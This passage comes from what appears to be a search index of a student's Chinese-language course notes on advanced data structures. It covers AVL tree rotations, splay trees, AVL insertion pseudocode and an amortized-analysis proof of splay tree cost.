style=\"--initial-text:'\u8fd9\u662f\u521d\u59cb\u6587\u5b57';--hover-text:'\u8fd9\u662f\u60ac\u505c\u6587\u5b57\uff0c\u5927\u5c0f\u4e3a0.7em';--hover-font-size:0.7em;\"&gt;\n&lt;/div&gt;\n</code></pre></p> <p> </p>"},{"location":"NOTE/ADS/wk1/","title":"Advance Data Structures and Algorithm Analysis","text":"<p> \u7ea6 3022 \u4e2a\u5b57  66 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 11 \u5206\u949f</p>"},{"location":"NOTE/ADS/wk1/#avl-tree","title":"AVL tree(\u5e73\u8861\u4e8c\u53c9\u6811)","text":"<p>AVL \u6570\u7684\u60f3\u6cd5\u662f\u5f3a\u5236\u8981\u6c42\u6bcf\u6b21\u63d2\u5165\uff0c\u5220\u9664\u4e4b\u540e\u90fd\u4fdd\u8bc1\u6811\u7684\u7edd\u5bf9\u5e73\u8861</p> <p>AVL \u6570\u7684\u9012\u5f52\u5b9a\u4e49</p> <p>\u4e00\u9897\u7a7a\u7684\u6811\u6216\u5b83\u7684\u5de6\u53f3\u4e24\u4e2a\u5b50\u6811\u7684\u9ad8\u5ea6\u5dee\u7684\u7edd\u5bf9\u503c\u4e0d\u8d85\u8fc71\u662fAVL\u6811\uff0c\u540c\u65f6\u5b83\u7684\u5de6\u53f3\u4e24\u4e2a\u5b50\u6811\u4e5f\u662fAVL\u6811\uff08\u4ece\u4e0b\u5f80\u4e0a\u770b\uff0c\u4e0d\u8981\u4ece\u4e0a\u5f80\u4e0b\u770b\uff09</p> <ul> <li>\u5e73\u8861\u56e0\u5b50(Balence factor)    \u7b80\u79f0 \\(bf\\),\u8ba1\u7b97\u516c\u5f0f\u4e3a</li> </ul> <p>$$    bf = height_{left}-height_{right}    $$</p> <p>\u5728AVL tree \u4e2d\uff0c\\(bf\\) \u53ea\u80fd\u4e3a -1,0,1 \u4e09\u79cd\u60c5\u51b5\u4e4b\u4e00</p> <p></p> <p>AVL tree \u53ef\u4ee5\u89e3\u51b3\u5f53\u987a\u5e8f\u6570\u636e\u88ab\u63d2\u5165\u5230\u666e\u901a\u4e8c\u53c9\u641c\u7d22\u6811\u7684\u8fc7\u7a0b\u4e2d\uff0c\u4e8c\u53c9\u641c\u7d20\u6811\u4f1a\u9000\u5316\u4e3a\u94fe\u8868\u7684\u8fc7\u7a0b</p>"},{"location":"NOTE/ADS/wk1/#_1","title":"\u4e0d\u540c\u7c7b\u578b\u7684\u63d2\u5165","text":""},{"location":"NOTE/ADS/wk1/#ll-","title":"LL\u578b-\u53f3\u65cb","text":"<p>\u5728\u67d0\u7ed3\u70b9\u7684\u5de6\u7ed3\u70b9(L)\u7684\u5de6\u5b50\u6811(L)\u4e0a\u505a\u4e86\u63d2\u5165\u5143\u7d20\u7684\u64cd\u4f5c\u5bfc\u81f4\u5931\u8861\uff0c\u6211\u4eec\u79f0\u8fd9\u79cd\u60c5\u51b5\u4e3a\u5de6\u5de6\u578b\uff0c\u5e94\u8be5\u8fdb\u884c\u53f3\u65cb\u8f6c</p> <ul> <li>A \u5411\u53f3\u65cb\u8f6c\u6210\u4e3a B \u7684 \u53f3 child </li> <li>B\u7684\u53f3\u5b50\u6811\u6210\u4e3aA\u7684\u5de6\u5b50\u6811</li> </ul> <p></p> <p>Warning</p> <p>\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5728\u8fd9\u91cc\uff0c\u8282\u70b9A\u7684 \\(bf\\) \u503c\u53ea\u80fd\u662f1\uff0c\u5982\u679c\u662f0\uff0c\u8bf4\u660e\u5de6\u53f3\u6811\u9ad8\u76f8\u7b49\uff0c\u518d\u63d2\u5165\u4e5f\u662fAVL\u6811\uff0c\u5982\u679c\u662f-1\uff0c\u8bf4\u660e\u5de6\u8fb9\u6bd4\u53f3\u8fb9\u77ee\uff0c\u5de6\u8fb9\u518d\u957f\u9ad81\uff0c\u4e5f\u4e0d\u4f1a\u5bfc\u81f4\u5931\u8861</p>"},{"location":"NOTE/ADS/wk1/#rr-","title":"RR\u578b-\u5de6\u65cb","text":"<p>\u5728\u67d0\u7ed3\u70b9\u7684 \u53f3\u7ed3\u70b9(R)\u7684 \u53f3\u5b50\u6811(R)\u4e0a\u505a\u4e86\u63d2\u5165\u5143\u7d20\u7684\u64cd\u4f5c\uff0c\u6211\u4eec\u79f0\u8fd9\u79cd\u60c5\u51b5\u4e3a \u53f3\u53f3\u578b \uff0c\u6211\u4eec\u5e94\u8be5\u8fdb\u884c\u5de6\u65cb\u8f6c\u3002</p> <ul> <li>A \u5411\u5de6\u65cb\u8f6c\u6210\u4e3aB\u7684\u5de6child</li> <li>B \u7684\u5de6\u5b50\u6811 \u6210\u4e3a A \u7684\u53f3\u5b50\u6811</li> </ul> <p> </p> <p>Warning</p> <p>\u8282\u70b9A\u7684 \\(bf\\) \u503c\u4e5f\u662f\u786e\u5b9a\u7684</p> <p>Note</p> <p>\u603b\u7684\u6765\u8bf4\uff0c\u5bf9\u4e8eLL\u548cRR\u578b\uff0c\u6211\u4eec\u89e3\u51b3\u5931\u8861\u7684\u65b9\u5f0f\u662f</p> <p>\u5bf9\u4e8eLL\uff0c\u5de6\u7ed3\u70b9\u5f53\u6839</p> <p>\u5bf9\u4e8eRR\uff0c\u53f3\u8282\u70b9\u5f53\u6839</p>"},{"location":"NOTE/ADS/wk1/#lr-","title":"LR \u578b-\u5de6\u53f3\u65cb","text":"<p>\u5728\u67d0\u7ed3\u70b9\u7684 \u5de6\u7ed3\u70b9\uff08L\uff09 \u7684 \u53f3\u5b50\u6811\uff08R\uff09 \u4e0a\u505a\u4e86\u63d2\u5165\u5143\u7d20\u7684\u64cd\u4f5c\u5bfc\u81f4\u5931\u8861\uff0c\u6211\u4eec\u79f0\u8fd9\u79cd\u60c5\u51b5\u4e3a \u5de6\u53f3\u578b \uff0c\u6211\u4eec\u5e94\u8be5\u8fdb\u884c\u5de6\u53f3\u65cb\u3002</p> \u5bf9\u4e8e\u5de6\u53f3\u578b\uff0c\u5982\u679c\u53ea\u8fdb\u884c\u5355\u65cb\uff0c\u4e0d\u4f1a\u89e3\u51b3\u95ee\u9898 <p></p> <ul> <li>\u9700\u8981\u8fdb\u884c\u4e24\u6b21\u65cb\u8f6c(\u5de6\u53f3\u65cb)<ul> <li>\u7b2c\u4e00\u6b21\uff08\u5de6\u65cb\uff09: B\u5de6\u65cb\uff0c\u6210\u4e3aC\u7684\u5de6\u7ed3\u70b9\uff0cC\u7684\u5de6\u5b50\u6811\u6210\u4e3aB\u7684\u53f3\u5b50\u6811</li> <li>\u7b2c\u4e8c\u6b21\uff08\u53f3\u65cb\uff09: A\u53f3\u65cb\uff0c\u6210\u4e3aC\u7684\u53f3\u8282\u70b9\uff0cC\u7684\u53f3\u5b50\u6811\u6210\u4e3aA\u7684\u5de6\u5b50\u6811</li> </ul> </li> </ul> <p> </p> \u4e00\u4e2a\u4f8b\u5b50 <p></p>"},{"location":"NOTE/ADS/wk1/#rl-","title":"RL \u578b-\u53f3\u5de6\u65cb\u8f6c","text":"<p>\u5728\u67d0\u8282\u70b9\u7684\u5728\u7ed3\u70b9T\u7684 \u53f3\u7ed3\u70b9\uff08R\uff09 \u7684 \u5de6\u5b50\u6811\uff08L\uff09 \u4e0a\u505a\u4e86\u63d2\u5165\u5143\u7d20\u7684\u64cd\u4f5c\uff0c\u6211\u4eec\u79f0\u8fd9\u79cd\u60c5\u51b5\u4e3a \u53f3\u5de6\u578b \uff0c\u6211\u4eec\u5e94\u8be5\u8fdb\u884c\u53f3\u5de6\u65cb\u3002</p> <p>\u540c\u6837\uff0c\u5355\u65cb\u5bf9\u4e8eRL\u578b\u4e5f\u6ca1\u6709\u7528</p> <ul> <li>\u9700\u8981\u8fdb\u884c\u4e24\u6b21\u65cb\u8f6c(\u53f3\u5de6\u65cb)<ul> <li>\u7b2c\u4e00\u6b21\uff08\u53f3\u65cb\uff09: B\u53f3\u65cb\uff0c\u79f0\u4e3aC\u7684\u53f3\u7ed3\u70b9\uff0cC\u7684\u53f3\u5b50\u6811\u6210\u4e3aB\u7684\u5de6\u5b50\u6811 </li> <li>\u7b2c\u4e8c\u6b21\uff08\u5de6\u65cb\uff09: A\u5de6\u65cb\uff0c\u6210\u4e3aC\u7684\u5de6\u8282\u70b9\uff0cC\u7684\u5de6\u5b50\u6811\u6210\u4e3aA\u7684\u53f3\u5b50\u6811</li> </ul> </li> </ul> <p></p> <p>\u603b\u7ed3</p> <p>\u603b\u7684\u6765\u8bf4\uff0c\u5bf9\u4e8eLR\u548cRL\u578b\uff0c\u6211\u4eec\u89e3\u51b3\u5931\u8861\u7684\u65b9\u5f0f\u662f</p> <p>\u5bf9\u4e8eLR\uff0c\u5de6\u7ed3\u70b9\u7684\u53f3 child \u5f53\u6839</p> <p>\u5bf9\u4e8eRL\uff0c\u53f3\u8282\u70b9\u7684\u5de6child \u5f53\u6839</p> <p>Tip</p> <p>\u5982\u679c\u4e00\u6b21\u63d2\u5165\u6700\u591a\u53ea\u4f1a\u5bfc\u81f4\u63d2\u5165\u8def\u5f84\u4e0a\u7684\u4e00\u8fde\u4e32\u7684\u7ed3\u70b9\u5931\u8861\uff0c\u6211\u4eec\u53ea\u9700\u8981\u89e3\u51b3\u627e\u5230\u7684\u7b2c\u4e00\u4e2a\uff08\u6700\u9760\u4e0b\u7684\uff09\u5931\u8861\u7ed3\u70b9\uff0c\u5c06\u5176\u89e3\u51b3\uff0c\u4e0a\u9762\u7684\u7ed3\u70b9\u81ea\u7136\u4e5f\u6062\u590d\u5230\u6b63\u5e38\u7684\u5e73\u8861\u56e0\u5b50,\u6240\u4ee5\uff0c\u5bf9\u4e8e\u6bcf\u6b21\u63d2\u5165\uff0c\u6211\u4eec\u81f3\u591a\u53ea\u9700\u8981\u8fdb\u884c\u4e00\u6b21 rotation \u5c31\u53ef\u4ee5\u89e3\u51b3\u51b2\u7a81\u4e86 \u4f46\u662f\u5bf9\u4e8e\u5220\u9664\uff0c\u6700\u574f\u7684\u60c5\u51b5\u5374\u8981\u65cb\u8f6c \\(\\log(n)\\) \u6b21</p> <p>\u65cb\u8f6c\u524d\u540e\uff0c\u7ed3\u70b9\u4e4b\u95f4\u7684\u76f8\u5bf9\u4f4d\u7f6e\u4e0d\u53d8\uff0c\u4ea6\u5373\u5de6\u8fb9\u7684\u7ed3\u70b9\u4ecd\u7136\u5728\u5de6\u8fb9\uff0c\u53f3\u8fb9\u7684\u7ed3\u70b9\u4ecd\u7136\u5728\u53f3\u8fb9</p> <p>AVL \u6811\u7684\u641c\u7d22\u3001\u63d2\u5165\u548c\u5220\u9664\u64cd\u4f5c\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u4e3a \\(O(\\log n)\\)</p>"},{"location":"NOTE/ADS/wk1/#splay-tree","title":"Splay tree(\u4f38\u5c55\u6811)","text":"<p>\u5434\u4e00\u822a\u5b66\u957f\u7684ADS\u8bb2\u4e49</p> <p>Splay \u6811\u7684\u60f3\u6cd5\u4e00\u65b9\u9762\u6765\u6e90\u4e8e\u5e0c\u671b\u53ef\u4ee5\u4e0d\u50cf AVL \u90a3\u6837\u4fdd\u6301\u4e25\u683c\u7684\u5e73\u8861\u7ea6\u675f\uff0c\u4f46\u4e5f\u80fd\u4fdd\u8bc1\u67d0\u79cd\u5c42\u9762\uff08\u5747\u644a\uff09\u7684\u5bf9\u6570\u65f6\u95f4\u590d\u6742\u5ea6\uff0c\u53e6\u4e00\u65b9\u9762 Splay \u6811\u5728\u8bbf\u95ee\uff08\u7279\u522b\u6ce8\u610f\u8bbf\u95ee\u5305\u62ec\u641c\u7d22\u3001\u63d2\u5165\u548c\u5220\u9664\uff09\u65f6\u90fd\u9700\u8981\u5c06\u5143\u7d20\u79fb\u52a8\u5230\u6839\u7ed3\u70b9\uff0c\u8fd9\u975e\u5e38\u7b26\u5408\u7a0b\u5e8f\u5c40\u90e8\u6027\u7684\u8981\u6c42\uff0c\u5373\u521a\u521a\u8bbf\u95ee\u7684\u6570\u636e\u5f88\u6709\u53ef\u80fd\u518d\u6b21\u88ab\u8bbf\u95ee\uff0c\u56e0\u6b64\u5728\u5b9e\u73b0\u7f13\u5b58\u548c\u5783\u573e\u6536\u96c6\u7b97\u6cd5\u4e2d\u6709\u4e00\u5b9a\u7684\u5e94\u7528\u3002</p> <p>Splay \u6811\u5e76\u4e0d\u5728\u4e4e\u4e8c\u53c9\u6811\u662f\u5426\u65f6\u523b\u90fd\u5e73\u8861\uff0c\u800c\u662f\u901a\u8fc7\u5728\u6bcf\u6b21\u64cd\u4f5c\u65f6\u52a0\u4e0aSplay\u64cd\u4f5c\uff0c\u5373\u901a\u8fc7\u4e00\u7cfb\u5217\u65cb\u8f6c\u5c06\u6211\u4eec\u8bbf\u95ee\u7684\u7ed3\u70b9\u79fb\u52a8\u5230\u6839\u7ed3\u70b9</p> <p>Note</p> <p>Any M consecutive tree operations starting from an empty tree take at most \\(O(M \\log N)\\) time.</p> <p>Splay tree \u5e0c\u671b\u4ece\u4e00\u68f5\u7a7a\u6811\u5f00\u59cb\u8fde\u7eed\u7684M\u4e2a\u64cd\u4f5c\u662f \\(O(M \\log N)\\) \u7684</p> <p>\u6211\u4eec\u6709\u4e24\u79cd\u65cb\u8f6c\u65b9\u5f0f</p> <p>naive\u7684\u65b9\u5f0f:</p> <p>\u4e0d\u65ad\u5730\u628a\u8bbf\u95ee\u7684\u7ed3\u70b9\u4e0e\u5176\u7236\u8282\u70b9\u66f4\u6362\u7236\u5b50\u65b9\u5f0f\uff0c\u5373\u4e0d\u65ad\u4f7f\u7528\u5355\u65cb\u4e00\u76f4\u8f6c\u5230\u6839\u8282\u70b9\u7684\u4f4d\u7f6e\uff0c\u4f46\u662f\u8fd9\u79cd\u65b9\u6cd5\u867d\u7136\u6ee1\u8db3\u4e86\u5c06\u8bbf\u95ee\u7684\u7ed3\u70b9\u79fb\u52a8\u5230\u6839\u7684\u9700\u6c42\uff0c\u5176\u8def\u5f84\u4e0a\u7684\u7ed3\u70b9\u5374\u88ab\u79fb\u52a8\u5230\u4e86\u5f88\u6df1\u7684\u4f4d\u7f6e\uff0c\u8fd9\u79cd\u65b9\u5f0f\u4e0d\u6ee1\u8db3\u6211\u4eec\u5bf9\u4e8e\u590d\u6742\u5ea6\u7684\u8981\u6c42</p> <p>\u4e0b\u9762\u662f\u5408\u7406\u7684\u65cb\u8f6c\u65b9\u5f0f:</p> <p>\u5bf9\u4e8e\u4efb\u4f55\u4e0d\u662f\u6839\u7ed3\u70b9\u7684\u7ed3\u70b9 X ,\u6211\u4eec\u5173\u5fc3\u5b83\u7684 parent \u8282\u70b9 P \u548c\u5b83\u7684 grandparent \u7ed3\u70b9 G:</p> <ul> <li>case 1: \u5982\u679c P \u5df2\u7ecf\u662f\u6839\uff0c\u76f4\u63a5\u65cb\u8f6c\u4ea4\u6362 P \u548c X \uff0c\u8fd9\u4e0e\u666e\u901a\u65b9\u6cd5\u6ca1\u4ec0\u4e48\u533a\u522b</li> <li>case 2: \u5982\u679c P \u5e76\u4e0d\u662f\u6839\uff0c\u53c8\u5206\u4e3a\u4e24\u79cd\u60c5\u51b5<ul> <li>Zig-zag(\u4e4b\u5b57\u578b): \u53cc\u65cb,\u4f7f\u5f97X\u6210\u4e3a\u6811\u6839(\u4e0d\u4e00\u5b9a\u662f\u6811\u7684\u6839\uff0c\u662fXPG\u5b50\u6811\u7684\u6811\u6839)\uff0c\u8fd9\u79cd\u60c5\u51b5\u4e0e\u666e\u901a\u65b9\u6cd5\u662f\u4e00\u6837\u7684\uff0c\u4e0e AVL \u6811\u7684 RL \u548c LR \u578b\u4e5f\u662f\u4e00\u6837\u7684</li> <li>Zig-zig(\u540c\u4fa7\u578b): \u5355\u65cb\uff0c\u5176\u5b9e\u53eb\u505a\u5355\u65cb\uff0c\u5b9e\u9645\u4e0a\u4e5f\u662f\u8f6c\u4e24\u6b21\uff0c\u5e94\u8be5\u662f\u4e3a\u4e86\u548c AVL \u6811\u4e0d\u4e00\u6837\u624d\u8fd9\u4e48\u53eb\u3002 Zig-zig \u7684\u65b9\u6cd5\u624d\u662f\u662f\u4e0enaive\u7684\u65b9\u6cd5\u4e0d\u4e00\u6837\u7684\u5730\u65b9,\u666e\u901a\u65b9\u6cd5\u5148\u4ea4\u6362\u4e86 X \u548c P \u7684\u4f4d\u7f6e\uff0c\u518d\u4ea4\u6362 X \u548c G \u7684\u4f4d\u7f6e; Zig-zig \u7684\u64cd\u4f5c\u65b9\u6cd5\u662f\u5148\u4ea4\u6362 P \u548c G \uff0c\u518d\u4ea4\u6362 X \u548c P\uff0c\u76f8\u5f53\u4e8e X \u76f4\u63a5\u8de8\u4e86\u4e24\u6b65 </li> </ul> </li> </ul> <p></p> insert 1 to 7 and then find 1 <p></p> <p>\u7f16\u7a0b\u5b9e\u8df5-Find root of AVL tree</p> <p>For each case, the first line contains a positive integer \\(N\\) which is the total number of keys to be inserted.  Then \\(N\\) distinct integer keys are given in the next line.  All the numbers in a line are separated by a space.</p> <p>output the root of AVL treeeeeeeeeeeeeee!</p> pseudo code <pre><code>Define structure Node:\ndata: integer\nleft: pointer to Node (initially NULL)\nright: pointer to Node (initially NULL)\nheight: integer (initially 0)\n\nDefine height(root):\n    If root is NULL:\n        Return -1\n    Else:\n        Return root.height\n\nDefine LL_rotation(root):\n    new_root = root.left\n    root.left = new_root.right\n    new_root.right = root\n    Update root.height\n    Update new_root.height \n    Return new_root\n\nDefine RR_rotation(root):\n    new_root = root.right\n    root.right = new_root.left\n    new_root.left = root\n    Update root.height\n    Update new_root.height \n    Return new_root\n\nDefine LR_rotation(root):\n    root.left = RR_rotation(root.left)\n    Return LL_rotation(root)\n\nDefine RL_rotation(root):\n    root.right = LL_rotation(root.right)\n    Return RR_rotation(root)\n\nDefine insert(root, x):\n    If root is NULL:\n        Create a new node with data x\n        Set left and right child to NULL\n        Set height to 0\n        Return the new node\n    Else if x &lt; root.data:\n        Recursively insert x into the left subtree\n        If height difference between left and right subtree is 2:\n            If x &lt; root.left.data:\n                Perform LL_rotation on root\n            Else:\n                Perform LR_rotation on root\n    Else if x &gt; root.data:\n        Recursively insert x into the right subtree\n        If height difference between right and left subtree is 2:\n            If x &gt; root.right.data:\n                Perform RR_rotation on root\n            Else:\n                Perform RL_rotation on root\n    Update root.height = max(height(root.left), height(root.right)) + 1\n    Return root\n\nMain function:\n    Read integer N (number of nodes to be inserted)\n    Initialize root as NULL\n    For each node:\n        Read integer x\n        Insert x into the AVL tree (root = insert(root, x))\n    Output the data of the root node\n</code></pre>"},{"location":"NOTE/ADS/wk1/#amortized-analysis","title":"Amortized Analysis(\u644a\u8fd8\u5206\u6790)","text":"\u5434\u4e00\u822a\u5b66\u957f\u7684ADS\u8bb2\u4e49 <p>\u644a\u8fd8\u5206\u6790\u7684\u60f3\u6cd5\u6765\u6e90\u4e8e\u6211\u4eec\u5e0c\u671b\u4f30\u8ba1\u4e00\u79cd\u6570\u636e\u7ed3\u6784\u7ecf\u8fc7\u4e00\u7cfb\u5217\u64cd\u4f5c\u7684\u5e73\u5747\u82b1\u8d39\u65f6\u95f4\u3002\u7136\u800c\uff0c\u5e73\u5747\u65f6\u95f4 \u975e\u5e38\u96be\u8ba1\u7b97\uff0c\u56e0\u4e3a\u6bcf\u4e00\u6b65\u90fd\u6709\u975e\u5e38\u591a\u7684\u9009\u62e9\uff0c\u8fde\u7eed m \u4e2a\u64cd\u4f5c\uff0c\u53ef\u80fd\u7684\u64cd\u4f5c\u8def\u5f84\u662f\u6307\u6570\u7ea7\u522b\u7684\u3002\u5e76\u4e14\u6709 \u65f6\u5019\u5e73\u5747\u6d89\u53ca\u6982\u7387\u5206\u5e03\u7b49\uff0c\u4f46\u6211\u4eec\u5e76\u4e0d\u77e5\u9053\u786e\u5207\u7684\u5206\u5e03\uff0c\u56e0\u6b64\u6bd4\u8f83\u96be\u4ee5\u8ba1\u7b97\u3002 \u4e00\u79cd\u6700\u7b80\u5355\u7684\u4f30\u8ba1\u65b9\u6cd5\u5c31\u662f\u7528\u6700\u5dee\u60c5\u51b5\u5206\u6790\u4f5c\u4e3a\u5e73\u5747\u60c5\u51b5\u7684\u4e0a\u754c\uff0c\u4f8b\u5982 Splay \u6811\uff0c\u6bcf\u4e2a\u64cd\u4f5c\u6700\u5dee\u90fd\u662f \\(O(n)\\)\uff08n \u4e3a\u6811\u4e2d\u7ed3\u70b9\u4e2a\u6570\uff09\u7684\uff0c\u56e0\u6b64\u5e73\u5747\u4e0d\u4f1a\u6bd4\u6700\u5dee\u60c5\u51b5\u5dee\uff0c\u6240\u4ee5\u4e5f\u662f \\(O(n)\\) \u7684\u3002\u7136\u800c\u8fd9\u6837\u7684\u4f30\u8ba1\u663e\u7136 \u662f\u653e\u5f97\u592a\u5bbd\u4e86\uff0c\u6211\u4eec\u5bf9\u8fd9\u4e2a\u590d\u6742\u5ea6\u662f\u975e\u5e38\u4e0d\u6ee1\u610f\u7684\uff0c\u56e0\u6b64\u6211\u4eec\u9700\u8981\u8fdb\u884c\u644a\u8fd8\u5206\u6790\u3002\u4e8b\u5b9e\u4e0a\uff0c\u5728\u6700\u5dee\u60c5\u51b5 \u7684\u5206\u6790\u4e2d\uff0c\u6211\u4eec\u5ffd\u7565\u4e86\u4e00\u4ef6\u4e8b\u60c5\uff0c\u5c31\u662f\u6709\u7684\u5e8f\u5217\u662f\u4e0d\u53ef\u80fd\u51fa\u73b0\u7684\uff0c\u4f8b\u5982\u76f4\u63a5\u5728\u7a7a\u7684\u6811\u4e0a\u7528 \\(O(n)\\) \u65f6\u95f4\u5220 \u9664\uff0c\u644a\u8fd8\u5206\u6790\u5219\u662f\u5e0c\u671b\u6392\u9664\u6389\u6700\u5dee\u60c5\u51b5\u5206\u6790\u4e2d\u628a\u6240\u6709\u4e0d\u7ba1\u53ef\u80fd\u4e0d\u53ef\u80fd\u7684\u60c5\u51b5\uff0c\u6700\u5dee\u7684\u8def\u5f84\u6311\u51fa\u6765\u7684\u8fd9 \u79cd\u65e0\u8111\u884c\u4e3a\uff0c\u8f6c\u800c\u5206\u6790\u6240\u6709\u53ef\u80fd\u7684\u4ece\u7a7a\u7ed3\u6784\u5f00\u59cb\u7684\u64cd\u4f5c\u8def\u5f84\u4e2d\uff0c\u6700\u5dee\u7684\u5e73\u5747\u65f6\u95f4\uff0c\u90a3\u4e48\u8fd9\u4e00\u65f6\u95f4\u4e00\u5b9a\u6bd4 \u6700\u5dee\u60c5\u51b5\u5206\u6790\u597d\uff0c\u56e0\u4e3a\u6392\u9664\u6389\u4e86\u4e00\u4e9b\u4e0d\u53ef\u80fd\u51fa\u73b0\u7684\u6240\u8c13\u6700\u5dee\u5e8f\u5217\uff0c\u4f46\u53c8\u4f1a\u5927\u4e8e\u7b49\u4e8e\u5e73\u5747\u65f6\u95f4\uff0c\u56e0\u4e3a\u53d6\u7684 \u662f\u6240\u6709\u53ef\u80fd\u5e8f\u5217\u4e2d\u6700\u5dee\u7684\u90a3\u4e00\u79cd\u3002\u56e0\u6b64\u5f53\u6211\u4eec\u7b97\u51fa\u644a\u8fd8\u5206\u6790\u7684\u65f6\u95f4\u590d\u6742\u5ea6\uff0c\u90a3\u4e48\u5b83\u4e5f\u4e00\u5b9a\u662f\u5e73\u5747\u65f6\u95f4 \u7684\u4e0a\u754c\uff0c\u540c\u65f6\u8fd9\u4e2a\u4e0a\u754c\u4f1a\u6bd4\u6700\u5dee\u60c5\u51b5\u5206\u6790\u597d.</p> <p>\u603b\u7684\u6765\u8bf4\uff0c\u6211\u4eec\u5e0c\u671b\u5206\u6790 Average \u7684\u60c5\u51b5\u662f\u6bd4\u8f83\u56f0\u96be\u7684\uff0c\u5206\u6790 worst \u7684\u60c5\u51b5\u662f\u6bd4\u8f83\u7c97\u7cd9\u7684\uff0c\u6240\u4ee5\u6211\u4eec\u4f7f\u7528\u644a\u8fd8\u5206\u6790\uff0c\u901a\u8fc7\"\u52ab\u5bcc\u6d4e\u8d2b\"(\u622a\u957f\u8865\u77ed),\u5c06\u6700\u574f\u7684\u60c5\u51b5\u524a\u5f31\uff0c\u540c\u65f6\u53c8\u662f\u5e73\u5747\u60c5\u51b5\u7684\u4e0a\u754c\uff0c\u53ea\u8981\u8fd9\u79cd\u60c5\u51b5\u662f\u6ee1\u8db3\u6761\u4ef6\u7684\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u7528\u5b83\u6765\u8bc1\u660e\u3002</p> <p>\u51c6\u5907\u5de5\u4f5c</p> \\[\\hat{c}_i=c_i+\\Delta_i\\] <p>\u5176\u4e2d \\(\\hat{c}_i\\) \u662f\u7b2ci\u6b21\u64cd\u4f5c\u7684\u644a\u8fd8\u4ee3\u4ef7\uff0c\\(c_i\\) \u662f\u7b2ci\u6b21\u64cd\u4f5c\u7684\u5b9e\u9645\u4ee3\u4ef7\uff0c\\(\\Delta_i\\) \u662f\u7b2ci\u6b21\u64cd\u4f5c\u7684\u662f\u622a\u7684\u957f\uff08\u8d1f\u503c\uff09\uff0c\u6216\u8005\u8865\u7684\u77ed\uff08\u6b63\u503c\uff09</p> <p>\u6211\u4eec\u8fd8\u9700\u8981\u6ee1\u8db3\uff1a</p> \\[\\sum_{i=1}^{n}\\Delta_i \\geqslant 0\\] <p>\u6240\u4ee5\uff1a</p> \\[\\sum_{i=1}^{n}\\hat{c}_i \\geqslant \\sum_{i=1}^{n}c_i\\] <p>\u4f46\u662f\u5728\u9762\u5bf9Splay tree\u7684\u64cd\u4f5c\uff0c\u6211\u4eec\u5e76\u4e0d\u80fd\u6bcf\u4e00\u6b21\u90fd\u5f88\u597d\u7684\u5b9a\u4e49\u4e00\u79cd \\(\\Delta_i\\),\u6240\u4ee5\u6211\u4eec\u9700\u8981\u7528\u5230\u52bf\u80fd\u51fd\u6570\uff0c\u6765\u6784\u9020\u9996\u5c3e\u53ef\u4ee5\u76f8\u6d88\u7684\u9879</p> \\[\\Delta_i=\\Phi(D_n)-\\Phi(D_{n-1})\\] <p>\u8fd9\u6837\uff0c\u6240\u6709\u7684\u6210\u672c</p> \\[\\sum_{i=1}^{n}\\hat{c}_i = \\sum_{i=1}^{n}c_i+\\Phi(D_n)-\\Phi(D_{0})\\] <p>\u8bc1\u660eSplay tree\u6bcf\u4e2a\u64cd\u4f5c\u7684\u590d\u6742\u5ea6</p> <p>\u6211\u4eec\u5b9a\u4e49\u52bf\u80fd\u51fd\u6570 \\(\\Phi(T)\\) \u4e3a</p> \\[\\Phi(T)=\\sum_{x\\in T}Rank(x)\\] <p>\u5176\u4e2d \\(Rank(x)=\\log S(x)\\)</p> <p>\u5373\u4ee5\\(x\\)\u4e3a\u6839\u7684\u5b50\u6811\u7684\u7ed3\u70b9\u6570\u7684\u5bf9\u6570\uff0c\u5305\u62ec\\(x\\)\u672c\u8eab</p> <p>\u5bf9\u4e8eZig\u64cd\u4f5c,\u6709\u4e00\u6b21\u65cb\u8f6c\uff0creal cost = 1 </p> <p>\u5728\u653e\u7f29\u7684\u8fc7\u7a0b\u4e2d\uff0c\u6211\u4eec\u4fdd\u7559\\(X\\) $$ \\hat{c}_i = 1 + R_2(X) - R_1(X) \\ + R_2(P) - R_1(P) \\ \\leqslant 1 + R_2(X) - R_1(X) $$ \u8fd9\u662f\u5f88\u81ea\u7136\u7684\uff0c\u56e0\u4e3a\\(R_2(P) - R_1(P) \\leqslant 0\\)</p> <p>\u5bf9\u4e8eZig-zag\u64cd\u4f5c\uff0c\u6709\u4e24\u6b21\u65cb\u8f6c\uff0creal cost = 2</p> <p></p> \\[ \\hat{c}_i = 2 + R_2(X) - R_1(X) \\\\ + R_2(P) - R_1(P) \\\\ + R_2(G) - R_1(G) \\\\ \\leqslant 2 (R_2(X) - R_1(X)) \\] <p>\u5728\u8fd9\u91cc\uff0c\\(R_2(X)=R_1(G),R_1(P)&gt;R_1(X)\\) \u6240\u4ee5\uff0c\u53ea\u9700\u8981\u8003\u8651\\(R_2(P) + R_2(G)+2\\)\u4e3a\u4ec0\u4e48\u5c0f\u4e8e\u7b49\u4e8e\\(2R_2(X)\\),\u5bf9\u4e8e\u65cb\u8f6c\u540e\u7684\u6811\uff0c\u6211\u4eec\u6709</p> \\[ \\begin{align*} S(P) + S(G) + 1 &amp;= S(X) \\\\  \\log S(P) + \\log S(G) + 2 &amp;= \\log 4S(P)S(G) \\leqslant \\log(S(P)+S(G))^2 \\\\ &amp;= 2\\log (S(X)-1) \\leqslant 2R_2(X) \\end{align*} \\] <p>\u5bf9\u4e8eZig-zig\u64cd\u4f5c\uff0c\u6709\u4e24\u6b21\u65cb\u8f6c\uff0creal cost = 2</p> <p></p> \\[ \\hat{c}_i = 2 + R_2(X) - R_1(X) \\\\ + R_2(P) - R_1(P) \\\\ + R_2(G) - R_1(G) \\\\ \\leqslant 3 (R_2(X) - R_1(X)) \\] <p>\u8fd9\u79cd\u60c5\u51b5\u5c31\u7a0d\u96be\u4e00\u70b9\uff0c\u9996\u5148\u6211\u4eec\u4ecd\u7136\u628a\\(R_2(X)=R_1(G)\\),\u7136\u540e\u52a0\u4e0a\u518d\u51cf\u53bb\\(R_1(X)\\),\u6b64\u65f6\u5f0f\u5b50\u53d8\u6210</p> \\[ \\hat{c}_i = 2 + R_1(X) - R_1(X) \\\\ + R_2(P) - R_1(P) \\\\ + R_2(G) - R_1(X) \\\\ \\leqslant 3 (R_2(X) - R_1(X)) \\] <p>\u518d\u6709\\(R_1(P) &gt; R_1(X),R_2(P)&lt;R_2(X)\\) \u90a3\u4e48\u5c31\u5269\u4e0b\\(R_1(X) + R_2(G) + 2 \\leqslant 2R_2(X)\\)  